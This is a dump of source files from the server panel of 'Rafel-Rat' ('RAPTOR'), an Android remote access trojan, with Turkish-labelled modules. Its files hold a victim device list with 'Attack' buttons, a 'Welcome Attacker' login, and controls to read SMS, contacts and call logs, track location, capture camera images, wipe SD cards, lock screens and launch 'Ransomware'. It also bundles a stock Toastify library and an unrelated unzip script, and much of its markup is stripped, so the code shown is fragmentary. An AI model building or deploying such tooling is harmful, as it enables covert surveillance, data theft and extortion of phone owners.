https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/login.png -------------------------------------------------------------------------------- /Server_Panel/public/images/lokasyon-takibi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/lokasyon-takibi.png -------------------------------------------------------------------------------- /Server_Panel/public/images/mesaj-gönder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/mesaj-gönder.png -------------------------------------------------------------------------------- /Server_Panel/public/images/metin-seslendirme.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/metin-seslendirme.png -------------------------------------------------------------------------------- /Server_Panel/public/images/rehber-kayıtları.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/rehber-kayıtları.png -------------------------------------------------------------------------------- /Server_Panel/public/images/signal-sender.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/signal-sender.png -------------------------------------------------------------------------------- /Server_Panel/public/images/telefon-detay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/telefon-detay.png -------------------------------------------------------------------------------- /Server_Panel/public/images/tüm-aramalar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/tüm-aramalar.png -------------------------------------------------------------------------------- /Server_Panel/public/images/tüm-mesajlar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/tüm-mesajlar.png -------------------------------------------------------------------------------- /Server_Panel/public/images/tüm-uygulamalar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/tüm-uygulamalar.png -------------------------------------------------------------------------------- /Server_Panel/public/images/victim-panel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/victim-panel.png -------------------------------------------------------------------------------- /Server_Panel/public/images/yazı-seslendirme.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/yazı-seslendirme.png -------------------------------------------------------------------------------- /Server_Panel/public/index.php: -------------------------------------------------------------------------------- 1 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | RAPTOR 17 | 18 | 19 | 20 | 21 | 22 | 36 | 37 | 38 | 39 | 40 | 49 | 50 |
51 | 52 |


53 | 54 |
55 |
56 |
57 |

58 | 59 | Device List 60 | 61 |
62 |
63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | $value) { 84 | 85 | echo ''; 86 | echo ''; 87 | echo ''; 88 | echo ''; 89 | echo ''; 90 | echo ''; 91 | echo ''; 92 | echo ''; 93 | echo ''; 94 | echo ''; 95 | $index_victim += 1; 96 | } 97 | ?> 98 | 99 | 100 |
#DEVICEVERSIONCOUNTRYSIM OPERATORCHARGEIS ROOTEDACTION
'.$index_victim.''.strtoupper($value['DEVICE_MODEL']).''.$value['SOFTWARE_VERSION'].''.$value['COUNTRY'].''.$value['SIM_OPERATOR'].''.$value['CHARGE'].''.$value['IS_ROOTED'].'Attack
101 |
102 |
103 | 104 |

105 |
106 |
107 |
108 | 109 |

110 | 111 |
112 |
113 |

Created by Mehmet Şirin Sulan. © 2021

114 |
115 |
116 | 117 |
118 | 119 | 120 | 121 | -------------------------------------------------------------------------------- /Server_Panel/public/js/toastify.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Toastify js 1.6.1 3 | * https://github.com/apvarun/toastify-js 4 | * @license MIT licensed 5 | * 6 | * Copyright (C) 2018 Varun A P 7 | */ 8 | (function(root, factory) { 9 | if (typeof module === "object" && module.exports) { 10 | module.exports = factory(); 11 | } else { 12 | root.Toastify = factory(); 13 | } 14 | })(this, function(global) { 15 | // Object initialization 16 | var Toastify = function(options) { 17 | // Returning a new init object 18 | return new Toastify.lib.init(options); 19 | }, 20 | // Library version 21 | version = "1.6.1"; 22 | 23 | // Defining the prototype of the object 24 | Toastify.lib = Toastify.prototype = { 25 | toastify: version, 26 | 27 | constructor: Toastify, 28 | 29 | // Initializing the object with required parameters 30 | init: function(options) { 31 | // Verifying and validating the input object 32 | if (!options) { 33 | options = {}; 34 | } 35 | 36 | // Creating the options object 37 | this.options = {}; 38 | 39 | this.toastElement = null; 40 | 41 | // Validating the options 42 | this.options.text = options.text || "Hi there!"; // Display message 43 | this.options.duration = options.duration || 3000; // Display duration 44 | this.options.selector = options.selector; // Parent selector 45 | this.options.callback = options.callback || function() {}; // Callback after display 46 | this.options.destination = options.destination; // On-click destination 47 | this.options.newWindow = options.newWindow || false; // Open destination in new window 48 | this.options.close = options.close || false; // Show toast close icon 49 | this.options.gravity = options.gravity == "bottom" ? "toastify-bottom" : "toastify-top"; // toast position - top or bottom 50 | this.options.positionLeft = options.positionLeft || false; // toast position - left or right 51 | this.options.position = options.position || ''; // toast position - left or right 52 | this.options.backgroundColor = options.backgroundColor; // toast background color 53 | this.options.avatar = options.avatar || ""; // img element src - url or a path 54 | this.options.className = options.className || ""; // additional class names for the toast 55 | this.options.stopOnFocus = options.stopOnFocus === undefined? true: options.stopOnFocus; // stop timeout on focus 56 | this.options.onClick = options.onClick; // Callback after click 57 | 58 | // Returning the current object for chaining functions 59 | return this; 60 | }, 61 | 62 | // Building the DOM element 63 | buildToast: function() { 64 | // Validating if the options are defined 65 | if (!this.options) { 66 | throw "Toastify is not initialized"; 67 | } 68 | 69 | // Creating the DOM object 70 | var divElement = document.createElement("div"); 71 | divElement.className = "toastify on " + this.options.className; 72 | 73 | // Positioning toast to left or right or center 74 | if (!!this.options.position) { 75 | divElement.className += " toastify-" + this.options.position; 76 | } else { 77 | // To be depreciated in further versions 78 | if (this.options.positionLeft === true) { 79 | divElement.className += " toastify-left"; 80 | console.warn('Property `positionLeft` will be depreciated in further versions. Please use `position` instead.') 81 | } else { 82 | // Default position 83 | divElement.className += " toastify-right"; 84 | } 85 | } 86 | 87 | // Assigning gravity of element 88 | divElement.className += " " + this.options.gravity; 89 | 90 | if (this.options.backgroundColor) { 91 | divElement.style.background = this.options.backgroundColor; 92 | } 93 | 94 | // Adding the toast message 95 | divElement.innerHTML = this.options.text; 96 | 97 | if (this.options.avatar !== "") { 98 | var avatarElement = document.createElement("img"); 99 | avatarElement.src = this.options.avatar; 100 | 101 | avatarElement.className = "toastify-avatar"; 102 | 103 | if (this.options.position == "left" || this.options.positionLeft === true) { 104 | // Adding close icon on the left of content 105 | divElement.appendChild(avatarElement); 106 | } else { 107 | // Adding close icon on the right of content 108 | divElement.insertAdjacentElement("beforeend", avatarElement); 109 | } 110 | } 111 | 112 | // Adding a close icon to the toast 113 | if (this.options.close === true) { 114 | // Create a span for close element 115 | var closeElement = document.createElement("span"); 116 | closeElement.innerHTML = "✖"; 117 | 118 | closeElement.className = "toast-close"; 119 | 120 | // Triggering the removal of toast from DOM on close click 121 | closeElement.addEventListener( 122 | "click", 123 | function(event) { 124 | event.stopPropagation(); 125 | this.removeElement(event.target.parentElement); 126 | window.clearTimeout(event.target.parentElement.timeOutValue); 127 | }.bind(this) 128 | ); 129 | 130 | // Clear timeout while toast is focused 131 | if (this.options.stopOnFocus && this.options.duration > 0) { 132 | const self = this; 133 | // stop countdown 134 | divElement.addEventListener( 135 | "mouseover", 136 | function(event) { 137 | window.clearTimeout(divElement.timeOutValue); 138 | } 139 | ) 140 | // add back the timeout 141 | divElement.addEventListener( 142 | "mouseleave", 143 | function() { 144 | divElement.timeOutValue = window.setTimeout( 145 | function() { 146 | // Remove the toast from DOM 147 | self.removeElement(divElement); 148 | }, 149 | self.options.duration 150 | ) 151 | } 152 | ) 153 | } 154 | 155 | //Calculating screen width 156 | var width = window.innerWidth > 0 ? window.innerWidth : screen.width; 157 | 158 | // Adding the close icon to the toast element 159 | // Display on the right if screen width is less than or equal to 360px 160 | if ((this.options.position == "left" || this.options.positionLeft === true) && width > 360) { 161 | // Adding close icon on the left of content 162 | divElement.insertAdjacentElement("afterbegin", closeElement); 163 | } else { 164 | // Adding close icon on the right of content 165 | divElement.appendChild(closeElement); 166 | } 167 | } 168 | 169 | // Adding an on-click destination path 170 | if (typeof this.options.destination !== "undefined") { 171 | divElement.addEventListener( 172 | "click", 173 | function(event) { 174 | event.stopPropagation(); 175 | if (this.options.newWindow === true) { 176 | window.open(this.options.destination, "_blank"); 177 | } else { 178 | window.location = this.options.destination; 179 | } 180 | }.bind(this) 181 | ); 182 | } 183 | 184 | if (typeof this.options.onClick === "function" && typeof this.options.destination === "undefined") { 185 | divElement.addEventListener( 186 | "click", 187 | function(event) { 188 | event.stopPropagation(); 189 | this.options.onClick(); 190 | }.bind(this) 191 | ); 192 | } 193 | 194 | // Returning the generated element 195 | return divElement; 196 | }, 197 | 198 | // Displaying the toast 199 | showToast: function() { 200 | // Creating the DOM object for the toast 201 | this.toastElement = this.buildToast(); 202 | 203 | // Getting the root element to with the toast needs to be added 204 | var rootElement; 205 | if (typeof this.options.selector === "undefined") { 206 | rootElement = document.body; 207 | } else { 208 | rootElement = document.getElementById(this.options.selector); 209 | } 210 | 211 | // Validating if root element is present in DOM 212 | if (!rootElement) { 213 | throw "Root element is not defined"; 214 | } 215 | 216 | // Adding the DOM element 217 | rootElement.insertBefore(this.toastElement, rootElement.firstChild); 218 | 219 | // Repositioning the toasts in case multiple toasts are present 220 | Toastify.reposition(); 221 | 222 | if (this.options.duration > 0) { 223 | this.toastElement.timeOutValue = window.setTimeout( 224 | function() { 225 | // Remove the toast from DOM 226 | this.removeElement(this.toastElement); 227 | }.bind(this), 228 | this.options.duration 229 | ); // Binding `this` for function invocation 230 | } 231 | 232 | // Supporting function chaining 233 | return this; 234 | }, 235 | 236 | hideToast: function() { 237 | if (this.toastElement.timeOutValue) { 238 | clearTimeout(this.toastElement.timeOutValue); 239 | } 240 | this.removeElement(this.toastElement); 241 | }, 242 | 243 | // Removing the element from the DOM 244 | removeElement: function(toastElement) { 245 | // Hiding the element 246 | // toastElement.classList.remove("on"); 247 | toastElement.className = toastElement.className.replace(" on", ""); 248 | 249 | // Removing the element from DOM after transition end 250 | window.setTimeout( 251 | function() { 252 | // Remove the elemenf from the DOM 253 | toastElement.parentNode.removeChild(toastElement); 254 | 255 | // Calling the callback function 256 | this.options.callback.call(toastElement); 257 | 258 | // Repositioning the toasts again 259 | Toastify.reposition(); 260 | }.bind(this), 261 | 400 262 | ); // Binding `this` for function invocation 263 | }, 264 | }; 265 | 266 | // Positioning the toasts on the DOM 267 | Toastify.reposition = function() { 268 | // Top margins with gravity 269 | var topLeftOffsetSize = { 270 | top: 15, 271 | bottom: 15, 272 | }; 273 | var topRightOffsetSize = { 274 | top: 15, 275 | bottom: 15, 276 | }; 277 | var offsetSize = { 278 | top: 15, 279 | bottom: 15, 280 | }; 281 | 282 | // Get all toast messages on the DOM 283 | var allToasts = document.getElementsByClassName("toastify"); 284 | 285 | var classUsed; 286 | 287 | // Modifying the position of each toast element 288 | for (var i = 0; i < allToasts.length; i++) { 289 | // Getting the applied gravity 290 | if (containsClass(allToasts[i], "toastify-top") === true) { 291 | classUsed = "toastify-top"; 292 | } else { 293 | classUsed = "toastify-bottom"; 294 | } 295 | 296 | var height = allToasts[i].offsetHeight; 297 | classUsed = classUsed.substr(9, classUsed.length-1) 298 | // Spacing between toasts 299 | var offset = 15; 300 | 301 | var width = window.innerWidth > 0 ? window.innerWidth : screen.width; 302 | 303 | // Show toast in center if screen with less than or qual to 360px 304 | if (width <= 360) { 305 | // Setting the position 306 | allToasts[i].style[classUsed] = offsetSize[classUsed] + "px"; 307 | 308 | offsetSize[classUsed] += height + offset; 309 | } else { 310 | if (containsClass(allToasts[i], "toastify-left") === true) { 311 | // Setting the position 312 | allToasts[i].style[classUsed] = topLeftOffsetSize[classUsed] + "px"; 313 | 314 | topLeftOffsetSize[classUsed] += height + offset; 315 | } else { 316 | // Setting the position 317 | allToasts[i].style[classUsed] = topRightOffsetSize[classUsed] + "px"; 318 | 319 | topRightOffsetSize[classUsed] += height + offset; 320 | } 321 | } 322 | } 323 | 324 | // Supporting function chaining 325 | return this; 326 | }; 327 | 328 | function containsClass(elem, yourClass) { 329 | if (!elem || typeof yourClass !== "string") { 330 | return false; 331 | } else if ( 332 | elem.className && 333 | elem.className 334 | .trim() 335 | .split(/\s+/gi) 336 | .indexOf(yourClass) > -1 337 | ) { 338 | return true; 339 | } else { 340 | return false; 341 | } 342 | } 343 | 344 | // Setting up the prototype for the init object 345 | Toastify.lib.init.prototype = Toastify.lib; 346 | 347 | // Returning the Toastify function to be assigned to the window object/module 348 | return Toastify; 349 | }); -------------------------------------------------------------------------------- /Server_Panel/public/kontrol-panel.php: -------------------------------------------------------------------------------- 1 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | RAPTOR 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 49 | 50 | 51 | 52 | 53 | 62 | 63 | 64 |
65 |
66 | 67 |
68 |
69 | Specifications 70 | Location 71 | Guide 72 | GetSms 73 | Send SMS 74 | 75 | 76 | Toast 77 | WipeSdcard 78 | LockTheScreen 79 | changewallpaper 80 | Ransomware 81 | Vibrate 82 | DeleteCallLogs 83 | 84 | 85 | 86 | Searches 87 | 88 | Application 89 | Folders 90 | 91 | 92 | 93 | TTS 94 | 95 | Exit 96 |
97 |
98 | 99 |
100 | 101 | 156 | 159 | 165 |
166 | 167 | 168 |
169 |
170 |
171 |

Created by Mehmet Şirin Sulan. © 2021

172 |
173 |
174 | 175 |
176 | 177 | 178 | 179 | -------------------------------------------------------------------------------- /Server_Panel/public/login.php: -------------------------------------------------------------------------------- 1 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | RAPTOR 27 | 28 | 29 | 43 | 44 | 45 | 46 | 47 | 56 | 57 | 58 |
59 |


60 | 61 |
62 |
63 |
64 |

65 |
66 |
67 | Welcome Attacker 68 |
69 | 70 |
71 | 72 |
73 |
74 |
75 | 76 |
77 | 78 |
79 |
80 |
81 |
82 |
83 | 84 |
85 |
86 | 87 |
88 |
89 |

90 |
91 |
92 |
93 | 94 |

95 | 96 |
97 |
98 |

Created by Mehmet Şirin Sulan. © 2021

99 |
100 |
101 | 102 |
103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/LockTheScreen.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 |

10 | LockTheScreen 11 |
12 |
13 |
14 |
15 | 16 | 17 |
18 | 22 |
23 |
24 | 25 | 26 | 27 |
28 | 29 |
30 | 31 |
32 |
33 | 34 |
35 |
36 | 37 |
38 |
39 |
40 |
41 |
42 |

43 |
44 |
45 |
46 | 47 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/app_list.php: -------------------------------------------------------------------------------- 1 | 14 | 15 |
16 |
17 |
18 | 19 | 20 | 21 |
22 | 23 |
24 | 31 |
32 | 33 | 34 | 35 |
36 | 37 |
38 |

39 | Tüm Uygulamlar 40 |
41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 |
#App NameApp PackageApp Dir
54 |
55 |

56 |
57 |
58 |
59 | 60 | 122 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/browser_history.php: -------------------------------------------------------------------------------- 1 | 14 | 15 |
16 |
17 |
18 | 19 | 20 | 21 |
22 | 23 |
24 | 31 |
32 | 33 | 34 | 35 |
36 | 37 |
38 |

39 | Tarayıcı Geçmişi 40 |
41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 |
#TürüTel. No.SMSOkunduGönderilen Tarih
56 |
57 |

58 |
59 |
60 |
61 | 62 | 127 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/call_log_history.php: -------------------------------------------------------------------------------- 1 | 14 | 15 |
16 |
17 |
18 | 19 | 20 | 21 |
22 | 23 |
24 | 31 |
32 | 33 | 34 | 35 |
36 | 37 |
38 |

39 | Tüm Aramalar 40 |
41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 |
#TürüTel. No.AdGörüldüSüre (sn)Tarih
57 |
58 |

59 |
60 |
61 |
62 | 63 | 138 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/changewallpaper.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 |

10 | ChangeWallpaper 11 |
12 |
13 |
14 |
15 | 16 | 17 |
18 | 22 |
23 |
24 | 25 | 26 | 27 |
28 | 29 |
30 | 31 |
32 |
33 | 34 |
35 |
36 | 37 |
38 |
39 |
40 |
41 |
42 |

43 |
44 |
45 |
46 | 47 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/deletecalls.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 |

10 | DeletecallLogs 11 |
12 |
13 |
14 |
15 | 16 | 17 |
18 | 22 |
23 |
24 | 25 | 26 | 27 |
28 | 29 |
30 | 31 |
32 |
33 | 34 |
35 |
36 | 37 |
38 |
39 |
40 |
41 |
42 |

43 |
44 |
45 |
46 | 47 | 93 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/device-property.php: -------------------------------------------------------------------------------- 1 | 9 | 10 | 11 |
12 |
13 |
14 | 15 |
16 | 17 |
18 | 19 |
20 |

21 | Telefon Özellikleri 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | '; 36 | echo ''; 37 | echo ''; 38 | echo ''; 39 | echo ''; 40 | 41 | echo ''; 42 | echo ''; 43 | echo ''; 44 | echo ''; 45 | echo ''; 46 | 47 | echo ''; 48 | echo ''; 49 | echo ''; 50 | echo ''; 51 | echo ''; 52 | 53 | echo ''; 54 | echo ''; 55 | echo ''; 56 | echo ''; 57 | echo ''; 58 | 59 | echo ''; 60 | echo ''; 61 | echo ''; 62 | echo ''; 63 | echo ''; 64 | 65 | echo ''; 66 | echo ''; 67 | echo ''; 68 | echo ''; 69 | echo ''; 70 | 71 | echo ''; 72 | echo ''; 73 | echo ''; 74 | echo ''; 75 | echo ''; 76 | 77 | echo ''; 78 | echo ''; 79 | echo ''; 80 | echo ''; 85 | echo ''; 86 | 87 | 88 | ?> 89 | 90 | 91 |
#CihazDetay
1MODEL'.strtoupper($victim_array["device_list"][$device_id]['DEVICE_MODEL']).'
2VERSION'.$victim_array["device_list"][$device_id]['SOFTWARE_VERSION'].'
3ÜLKE'.$victim_array["device_list"][$device_id]['COUNTRY'].'
4OPERATÖR'.$victim_array["device_list"][$device_id]['SIM_OPERATOR'].'
5ROOT'.$victim_array["device_list"][$device_id]['IS_ROOTED'].'
6Dil'.$victim_array["device_list"][$device_id]['DEVICE_LANGUAGE'].'
7Toplam Ram'.$victim_array["device_list"][$device_id]['TOTAL_RAM'].'
8Şarj '.$victim_array["device_list"][$device_id]["CHARGE"].' 81 |
82 |
83 |
84 |
92 | 93 |
94 |

95 |
96 |
97 |
98 | 99 | 131 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/file_manager.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 | 10 |
11 | 12 |
13 |

14 | Dosya Yönetimi 15 |
16 |
17 |
18 | 19 |
20 | 21 |
22 | 23 |
24 |
25 | 26 | 27 |
28 | 29 |
30 | 33 |
34 |
35 | 36 |
37 | 38 | 39 |
40 | 41 | 42 | 43 | 44 |
45 |
46 |
47 |

48 |
49 |
50 |
51 | 52 | 177 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/location-tracker.php: -------------------------------------------------------------------------------- 1 | 7 | 8 |
9 |
10 |
11 | 12 | 13 |
14 | 15 |
16 | 17 |
18 |

19 | Lokasyon Takibi 20 |
21 | 22 |
23 | 24 |
25 |

26 |
27 |
28 |
29 | 30 | 91 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/module_controller.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 |

10 | Ransomware 11 |
12 |
13 |
14 |
15 | 16 | 17 |
18 | 22 |
23 |
24 | 25 | 26 | 27 |
28 | 29 |
30 | 31 |
32 |
33 | 34 |
35 |
36 | 37 |
38 |
39 |
40 |
41 |
42 |

43 |
44 |
45 |
46 | 47 | 93 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/read_all_sms.php: -------------------------------------------------------------------------------- 1 | 15 | 16 |
17 |
18 |
19 | 20 | 21 | 22 |
23 | 24 |
25 | 32 |
33 | 34 | 35 | 36 |
37 | 38 |
39 |

40 | Tüm Mesajlar 41 |
42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 |
#TürüTel. No.SMSOkunduTarih
57 |
58 |

59 |
60 |
61 |
62 | 63 | 126 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/rehber.php: -------------------------------------------------------------------------------- 1 | 15 | 16 |
17 |
18 |
19 | 20 | 21 | 22 |
23 | 24 |
25 | 32 |
33 | 34 | 35 | 36 |
37 | 38 |
39 |

40 | Telefon Rehberi 41 |
42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 |
#Ad - SoyadTel. No.Type
55 |
56 |

57 |
58 |
59 |
60 | 61 | 120 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/screen-capture.php: -------------------------------------------------------------------------------- 1 | 7 | 8 |
9 |
10 |
11 | 12 | 13 |
14 |
15 | 16 |
17 |

18 | Kamera Görüntüsü 19 |
20 | 21 |
22 | 23 |
24 |

25 |
26 |
27 |
28 | 29 | 96 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/screen-message.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 |

10 | Ekran Mesajı 11 |
12 |
13 |
14 |
15 | 16 | 17 |
18 | 25 |
26 |
27 | 28 | 29 | 30 |
31 | 32 |
33 | 34 |
35 |
36 | 37 |
38 |
39 | 40 |
41 |
42 |
43 |
44 |
45 |

46 |
47 |
48 |
49 | 50 | 94 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/send-sms.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 |

10 | Mesaj Gönder 11 |
12 |
13 |
14 |
15 | 16 |
17 | 18 |
19 |
20 | 21 |
22 | 23 |
24 | 25 |
26 |
27 | 28 |
29 |
30 | 31 |
32 |
33 |
34 |
35 |
36 |

37 |
38 |
39 |
40 | 41 | 86 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/text-speech.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |
6 |
7 |
8 | 9 |
10 |

11 | Yazı Seslendirme 12 |
13 |
14 |
15 |
16 | 17 | 18 |
19 | 25 |
26 |
27 | 28 | 29 | 30 |
31 | 32 |
33 | 34 |
35 |
36 | 37 |
38 |
39 | 40 |
41 |
42 |
43 |
44 |
45 |

46 |
47 |
48 |
49 | 50 | 94 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/vibrate.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 |

10 | VibrateDevice 11 |
12 |
13 |
14 |
15 | 16 | 17 |
18 | 22 |
23 |
24 | 25 | 26 | 27 |
28 | 29 |
30 | 31 |
32 |
33 | 34 |
35 |
36 | 37 |
38 |
39 |
40 |
41 |
42 |

43 |
44 |
45 |
46 | 47 | 93 | -------------------------------------------------------------------------------- /Server_Panel/public/modules/wipe.php: -------------------------------------------------------------------------------- 1 | 4 |
5 |
6 |
7 | 8 |
9 |

10 | WIPESDCARD 11 |
12 |
13 |
14 |
15 | 16 | 17 |
18 | 22 |
23 |
24 | 25 | 26 | 27 |
28 | 29 |
30 | 31 |
32 |
33 | 34 |
35 |
36 | 37 |
38 |
39 |
40 |
41 |
42 |

43 |
44 |
45 |
46 | 47 | 93 | -------------------------------------------------------------------------------- /unzip.php: -------------------------------------------------------------------------------- 1 | Error: You must stay within this directory. Slashes and other chars are blocked for security reasons!"; 24 | } elseif ( $ext !== "zip" ) { 25 | $status = "Error: The file extension must be a 'zip' file!"; 26 | } else { 27 | 28 | $zip = new ZipArchive; 29 | $res = $zip->open($file); 30 | if ($res === TRUE) { 31 | $zip->extractTo($path); 32 | $zip->close(); 33 | $status = "Success: '$file' extracted to '$path'."; 34 | } else { 35 | $status = "Error: Could not extract '$file'."; 36 | } 37 | 38 | } 39 | } 40 | ?> 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 |
49 |

Income Pitbull Quick Unzipper

50 | ' . $status . '

'; 53 | } 54 | ?> 55 |
56 | 57 | 58 | 59 |
60 | 61 |
62 | 63 | 64 | 65 | 66 | --------------------------------------------------------------------------------